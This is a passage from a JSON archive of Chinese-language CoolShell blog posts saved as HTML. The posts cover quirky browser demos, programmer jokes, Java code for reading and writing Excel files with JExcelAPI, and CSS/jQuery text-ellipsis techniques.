href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1928.html\">如何使用Python操作摄像头</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-14 哥是玩程序的.html",
    "content": "<html><body><p>下面一组有趣的Web示例，这些示例使用Web的一些很“土”控件做出一些很有趣的玩意儿。原来，编程是可以用来玩的，看看这些玩程序的人搞出的这些有意思的玩意，简直是玩得太有意思了。不过，请注意，这些东西只能使用Chrome打开，不然，你看不到相关的效果。</p>\n<p><strong>用滚动条做的时间</strong></p>\n<p><a href=\"http://toki-woki.net/p/scroll-clock/\">http://toki-woki.net/p/scroll-clock/</a>，下面的抓图只显示了时和分，后面还有不停跳动的秒。可以在IE，Fireforx和Chrome中查看。</p>\n<p style=\"text-align: center;\"><img alt=\"用滚动条做的时间\" height=\"162\" src=\"../wp-content/uploads/2009/12/scroll_timer-300x162.jpg\" title=\"用滚动条做的时间\" width=\"300\"/></p>\n<p><strong>用CheckBox做成一个水滴效果</strong></p>\n<p><a href=\"http://the389.com/works/drops/\">http://the389.com/works/drops/</a>，这个示例的整个页面由Checkbox构成，你用鼠标点一下其中一个CheckBox，你会看到一个巨大的水滴滴了下去。Chrome中效果更好。</p>\n<p style=\"text-align: center;\"><img alt=\"用checkbox做的雨滴效果\" height=\"279\" src=\"../wp-content/uploads/2009/12/rain_drop.jpg\" title=\"用checkbox做的雨滴效果\" width=\"265\"/></p>\n<p style=\"text-align: left;\"><span id=\"more-1932\"></span></p>\n<p><strong>一个用滚动条做的扭动效果</strong></p>\n<p><a href=\"http://the389.com/works/shake/\">http://the389.com/works/shake/</a>，页面打开你可以看到一排滚动条，用鼠标快速地横向滑动，你会看到滚动条开始跟着你的鼠标扭动。太BT了。请使用Chrome查看。</p>\n<p style=\"text-align: center;\"><img alt=\"一个可以扭曲的滚动条\" height=\"255\" src=\"../wp-content/uploads/2009/12/shake-300x255.jpg\" title=\"一个可以扭曲的滚动条\" width=\"300\"/></p>\n<p><strong>用CheckBox做的一个音阶</strong></p>\n<p><a href=\"http://the389.com/works/tenori/\">http://the389.com/works/tenori/</a>，这个效果还是只能用Chrome查看。随机地点一下其中的Checkbox，于是程序会根据你所点的顺序开始演奏一些“滴滴嘟嘟”的声音，很有意思。</p>\n<p style=\"text-align: center;\"><img alt=\"用CheckBox作的音阶\" height=\"300\" src=\"../wp-content/uploads/2009/12/tenori-274x300.jpg\" title=\"用CheckBox作的音阶\" width=\"274\"/></p>\n<p><strong>用滚动条做的一个波浪效果</strong></p>\n<p><a href=\"http://the389.com/works/scrollbars/\">http://the389.com/works/scrollbars/</a>，还是用鼠标触发，把鼠标放在这一排滚动条中上下移动，你会发现滚动条会跟着你的鼠标形成波浪的效果。还是只能在Chrome中查看。</p>\n<p style=\"text-align: center;\"><a href=\"http://toki-woki.net/p/scroll-clock/\"><img alt=\"用滚动条做的波形\" height=\"194\" src=\"../wp-content/uploads/2009/12/wave-300x194.jpg\" title=\"用滚动条做的波形\" width=\"300\"/></a></p>\n<p style=\"text-align: left;\">the389.com这个网站成了这些乱七八糟的小玩意的试验地，上面还有其它一些这些类似的小玩意。呵呵，不要迷恋哥，哥只是玩程序。</p>\n<p style=\"text-align: left;\">另外，在Chrome的试验田，你还可以看到很多这样的东西，甚至更弦的东西。只不过，Chrome试验田的那些小玩意看着不够“土”，所以效果不够好。呵呵。<br/>\n<a href=\"http://www.chromeexperiments.com/\">http://www.chromeexperiments.com/</a></p>\n<p style=\"text-align: left;\">(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1932.html\">哥是玩程序的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-14 程序员的相关笑话（二）.html",
    "content": "<html><body><p>前面发表过《<a href=\"https://coolshell.cn/?p=1903\" title=\"程序员的相关笑话（一）\">程序员的相关笑话（一）</a>》现在继续一些相关的笑话。</p>\n<h4>牧羊人与IT顾问</h4>\n<p>从前，有一个牧羊人，他有很多的羊。一天他赶着他的那群羊到了一条公路边上。突然，有一辆保时洁急驶过来，上面坐着一个年轻人人，穿着Armani的衣服，和Cerutti的皮鞋，Ray-Ban的太阳眼镜，TAG-Heuer的手表，以前Versace的领带。</p>\n<p>他走到牧羊人面前问牧羊人：“如果我能说出你有多少只羊，你能给我一只吗？”</p>\n<p>牧羊人看了看他那一大群数都数不过来的羊，说：“可以！”。</p>\n<p>那个年轻人，于是打开了他的笔记本电脑，接上手机，进入了NASA Webster，通过GPS定位，开始扫描。然后打了40多页充满各位对数微积分的公式的Excel表格，最后通过他的那个高科技迷你打印机打出了150多页的分析报告，然后，他看了看报告，走到牧羊人前说：“你一共有1586只羊！”</p>\n<p>牧羊人拍手道：“牛啊，你说的一点也没错，你挑一只吧”。</p>\n<p>于是，那个年轻人挑了一只，并准备从他的保时捷中拿出一些文档给牧羊人，这时，牧羊人说：“如果我能猜出你是干什么的，我能不能要回我的那只羊？”</p>\n<p>年轻人说：“为什么不呢？”</p>\n<p>牧羊人说：“你是一个IT咨询顾问”</p>\n<p>年轻人说：“你是怎么知道的？”</p>\n<p>牧羊人说：“很简单。首先，我并没有叫你，你就来了。然后，你开始用一些我已经知道的东西向我收费。第三，你根本就不了解我的业务……，所以，现在请你把我的牧羊狗还给我。”</p>\n<p><span id=\"more-1941\"></span></p>\n<h4>程序员睡觉</h4>\n<p>一个标准的程序员在睡觉时候都会准备两个杯子，一个是空的，一个装满了水。装满水的杯子为的是可能自己的睡觉的过程中会口渴，空白杯子只是为了在睡觉的时候不口渴。</p>\n<h4>一个程序出错信息</h4>\n<p>Keyboard not found … press F1 to continue</p>\n<h4>为什么程序员喜欢UNIX</h4>\n<p>unzip, strip, touch, finger, grep, mount, fsck, more, yes, fsck, fsck, fsck, umount, sleep</p>\n<p>（<strong>说明</strong>：unzip：拉开拉链；strip：脱掉衣服；touch：抚摸；finger：手指；grep：摸索；mount：骑上去；fsck：fxxk；more：更多；yes：爽；umount：下来；sleep：睡觉）</p>\n<h4>Google递归关键字</h4>\n<p><a href=\"http://www.google.com/search?hl=en&amp;q=recursion\" target=\"_blank\">http://www.google.com/search?hl=en&amp;q=recursion</a></p>\n<h4>一句话幽默</h4>\n<p>C++是一个很好的编译语言，因为你的parent（父母）不能访问你的private（隐私），但是你的friend（朋友）可以。</p>\n<p>这个世界上，最佳的UI设计是“乳头”，除此之外，所有的UI都需要学习。</p>\n<p>我真的想让这个世界变得更好，但是他们不给我源代码。（RE：这个世界的源代码是COBOL或汇编）</p>\n<p>程序员是一种可以把香烟和咖啡变成代码的机器。</p>\n<p>有多少微软的工程师会换电灯泡？没有，他们会把黑暗变成一种标准，然后对你说，这就是设计行为。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1903.html\"><img alt=\"程序员的相关笑话（一）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1903.html\">程序员的相关笑话（一）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1941.html\">程序员的相关笑话（二）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-15 Java读写Excel.html",
    "content": "<html><body><p>本文主要向你演示如何使用JavaExcel API来读写Excel文件。关于JavaExcel API，这是一个开源的lib库。其相关的feature如下：</p>\n<li>支持Excel 95, 97, 2000, <span style=\"color: #ff0000;\">XP, 2003</span> 的制表页。</li>\n<li>可以读写相关的Excel公式 （仅支持Excel 97 及以后版本）</li>\n<li>可以生成 Excel 2000 格式的xls文件。</li>\n<li>支持字体，数字和日期格式。</li>\n<li>支持单元格的阴影，边框和颜色。</li>\n<li>可以修改已存在的制表页。</li>\n<li>国际化多语言集。(公式目前支持，英文，法文，西班牙文和德文）</li>\n<li>支持图表拷贝。</li>\n<li><span style=\"color: #ff0000;\">支持图片的插入和复制。</span></li>\n<li>日志生成可以使用Jakarta Commons Logging, log4j, JDK 1.4 Logger, 等。</li>\n<li>更多……</li>\n<p>你可以在这里下载：<a href=\"http://jexcelapi.sourceforge.net/\">http://jexcelapi.sourceforge.net/</a>，然后，把jxl.jar加到你的Java的classpath中。</p>\n<p>下面是两段例程，一段是如何创建Excel，一段是如何读取Excel。</p>\n<p><span id=\"more-1954\"></span></p>\n<p><strong>创建Excel</strong></p>\n<pre class=\"EnlighterJSRAW\">package writer;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Locale;\n\nimport jxl.CellView;\nimport jxl.Workbook;\nimport jxl.WorkbookSettings;\nimport jxl.format.UnderlineStyle;\nimport jxl.write.Formula;\nimport jxl.write.Label;\nimport jxl.write.Number;\nimport jxl.write.WritableCellFormat;\nimport jxl.write.WritableFont;\nimport jxl.write.WritableSheet;\nimport jxl.write.WritableWorkbook;\nimport jxl.write.WriteException;\nimport jxl.write.biff.RowsExceededException;\n\n\npublic class WriteExcel {\n\n\tprivate WritableCellFormat timesBoldUnderline;\n\tprivate WritableCellFormat times;\n\tprivate String inputFile;\n\t\npublic void setOutputFile(String inputFile) {\n\tthis.inputFile = inputFile;\n\t}\n\n\tpublic void write() throws IOException, WriteException {\n\t\tFile file = new File(inputFile);\n\t\tWorkbookSettings wbSettings = new WorkbookSettings();\n\n\t\twbSettings.setLocale(new Locale(\"en\", \"EN\"));\n\n\t\tWritableWorkbook workbook = Workbook.createWorkbook(file, wbSettings);\n\t\tworkbook.createSheet(\"Report\", 0);\n\t\tWritableSheet excelSheet = workbook.getSheet(0);\n\t\tcreateLabel(excelSheet);\n\t\tcreateContent(excelSheet);\n\n\t\tworkbook.write();\n\t\tworkbook.close();\n\t}\n\n\tprivate void createLabel(WritableSheet sheet)\n\t\t\tthrows WriteException {\n\t\t// Lets create a times font\n\t\tWritableFont times10pt = new WritableFont(WritableFont.TIMES, 10);\n\t\t// Define the cell format\n\t\ttimes = new WritableCellFormat(times10pt);\n\t\t// Lets automatically wrap the cells\n\t\ttimes.setWrap(true);\n\n\t\t// Create create a bold font with unterlines\n\t\tWritableFont times10ptBoldUnderline = new WritableFont(\n\t\t\t\tWritableFont.TIMES, 10, WritableFont.BOLD, false,\n\t\t\t\tUnderlineStyle.SINGLE);\n\t\ttimesBoldUnderline = new WritableCellFormat(times10ptBoldUnderline);\n\t\t// Lets automatically wrap the cells\n\t\ttimesBoldUnderline.setWrap(true);\n\n\t\tCellView cv = new CellView();\n\t\tcv.setFormat(times);\n\t\tcv.setFormat(timesBoldUnderline);\n\t\tcv.setAutosize(true);\n\n\t\t// Write a few headers\n\t\taddCaption(sheet, 0, 0, \"Header 1\");\n\t\taddCaption(sheet, 1, 0, \"This is another header\");\n\t\t\n\n\t}\n\n\tprivate void createContent(WritableSheet sheet) throws WriteException,\n\t\t\tRowsExceededException {\n\t\t// Write a few number\n\t\tfor (int i = 1; i &lt; 10; i++) {\n\t\t\t// First column\n\t\t\taddNumber(sheet, 0, i, i + 10);\n\t\t\t// Second column\n\t\t\taddNumber(sheet, 1, i, i * i);\n\t\t}\n\t\t// Lets calculate the sum of it\n\t\tStringBuffer buf = new StringBuffer();\n\t\tbuf.append(\"SUM(A2:A10)\");\n\t\tFormula f = new Formula(0, 10, buf.toString());\n\t\tsheet.addCell(f);\n\t\tbuf = new StringBuffer();\n\t\tbuf.append(\"SUM(B2:B10)\");\n\t\tf = new Formula(1, 10, buf.toString());\n\t\tsheet.addCell(f);\n\n\t\t// Now a bit of text\n\t\tfor (int i = 12; i &lt; 20; i++) {\n\t\t\t// First column\n\t\t\taddLabel(sheet, 0, i, \"Boring text \" + i);\n\t\t\t// Second column\n\t\t\taddLabel(sheet, 1, i, \"Another text\");\n\t\t}\n\t}\n\n\tprivate void addCaption(WritableSheet sheet, int column, int row, String s)\n\t\t\tthrows RowsExceededException, WriteException {\n\t\tLabel label;\n\t\tlabel = new Label(column, row, s, timesBoldUnderline);\n\t\tsheet.addCell(label);\n\t}\n\n\tprivate void addNumber(WritableSheet sheet, int column, int row,\n\t\t\tInteger integer) throws WriteException, RowsExceededException {\n\t\tNumber number;\n\t\tnumber = new Number(column, row, integer, times);\n\t\tsheet.addCell(number);\n\t}\n\n\tprivate void addLabel(WritableSheet sheet, int column, int row, String s)\n\t\t\tthrows WriteException, RowsExceededException {\n\t\tLabel label;\n\t\tlabel = new Label(column, row, s, times);\n\t\tsheet.addCell(label);\n\t}\n\n\tpublic static void main(String[] args) throws WriteException, IOException {\n\t\tWriteExcel test = new WriteExcel();\n\t\ttest.setOutputFile(\"c:/temp/lars.xls\");\n\t\ttest.write();\n\t\tSystem.out\n\t\t\t\t.println(\"Please check the result file under c:/temp/lars.xls \");\n\t}\n}\n</pre>\n<p><strong>读取Excel</strong><br/>\n </p>\n<pre class=\"EnlighterJSRAW\">package reader;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport jxl.Cell;\nimport jxl.CellType;\nimport jxl.Sheet;\nimport jxl.Workbook;\nimport jxl.read.biff.BiffException;\n\npublic class ReadExcel {\n\n\tprivate String inputFile;\n\n\tpublic void setInputFile(String inputFile) {\n\t\tthis.inputFile = inputFile;\n\t}\n\n\tpublic void read() throws IOException  {\n\t\tFile inputWorkbook = new File(inputFile);\n\t\tWorkbook w;\n\t\ttry {\n\t\t\tw = Workbook.getWorkbook(inputWorkbook);\n\t\t\t// Get the first sheet\n\t\t\tSheet sheet = w.getSheet(0);\n\t\t\t// Loop over first 10 column and lines\n\n\t\t\tfor (int j = 0; j &lt; sheet.getColumns(); j++) {\n\t\t\t\tfor (int i = 0; i &lt; sheet.getRows(); i++) {\n\t\t\t\t\tCell cell = sheet.getCell(j, i);\n\t\t\t\t\tCellType type = cell.getType();\n\t\t\t\t\tif (cell.getType() == CellType.LABEL) {\n\t\t\t\t\t\tSystem.out.println(\"I got a label \"\n\t\t\t\t\t\t\t\t+ cell.getContents());\n\t\t\t\t\t}\n\n\t\t\t\t\tif (cell.getType() == CellType.NUMBER) {\n\t\t\t\t\t\tSystem.out.println(\"I got a number \"\n\t\t\t\t\t\t\t\t+ cell.getContents());\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (BiffException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) throws IOException {\n\t\tReadExcel test = new ReadExcel();\n\t\ttest.setInputFile(\"c:/temp/lars.xls\");\n\t\ttest.read();\n\t}\n\n}\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1954.html\">Java读写Excel</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-15 Web中的省略号.html",
    "content": "<html><body><p>在Web开发中，对于一种情况很常见。那就是，文本太长，而放置文本的容器不够长，而我们又不想让文本换行，所以，我们想使用省略号来解决这个问题。但是，在今天HTML的标准中并没有相关的标识或属性让你可以简单地完成这个事。但是我们可以使用CSS样式表来完成这个事，在IE，Safari，Chrome，Opera中都可以。但在Firefox中却不行，但我们可以使用jQuery来解决Firefox不兼容的问题。下面是相关的代码示例。</p>\n<p><strong>使用CSS设置省略号</strong></p>\n<pre class=\"EnlighterJSRAW\">\noverflow: hidden;\ntext-overflow: ellipsis;\n-o-text-overflow: ellipsis;\nwhite-space: nowrap;\nwidth: 100%;\n</pre>\n<p><span id=\"more-1949\"></span></p>\n<ul>\n<li><strong>overflow</strong> 属性是必需的，并且属性要是hidden。</li>\n<li><strong>white-space: nowrap</strong> 也是必需的。如果文本可以自动换行，就算是不可见，也不会有省略号的。因为文本换行了，所以没有超过容器的尺寸，所以也就不会有省略号了。</li>\n<li> <strong>width </strong>属性仅在需要支持IE6时设置。 设置成100%仅是为了解决IE6的不兼容问题。（关于IE中的那些不兼容问题，你可以参看本站的《<a href=\"https://coolshell.cn/articles/1817.html\" rel=\"bookmark\">9个最常见IE的Bug及其fix</a>》）</li>\n<li><strong>text-overflow: ellipsis</strong> 就是设置省略号了。目前还不是HTML的标准规范。其是由IE引入的，可以在IE6+，Safari 3.2+和Chrome上工作。</li>\n<li><strong>-o-text-overflow: ellipsis</strong> 是 Opera 支持的。可以在 Opera 9.0+使用。</li>\n</ul>\n<p><strong>使用jQuery设置省略号</strong></p>\n<p>正如前面所说过的，Firefox并不支持CSS中的那些省略号设置，因为那并不是标准的HTML规范。所以，我们需要使用jQuery的Javascript来干这个事。你可以下载由Devon Govett写的<a href=\"http://devongovett.wordpress.com/2009/04/06/text-overflow-ellipsis-for-firefox-via-jquery/\">jQuery 省略号插件</a>，于是，你可以简单的把”ellipsis”赋给某些元件或是CSS定义，如下所示：</p>\n<p>[javascript]$(document).ready(function() {<br/>\n    $(‘.ellipsis’).ellipsis();<br/>\n}[/javascript]</p>\n<p>或是</p>\n<p>[javascript]$(\"span\").ellipsis();[/javascript]<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a 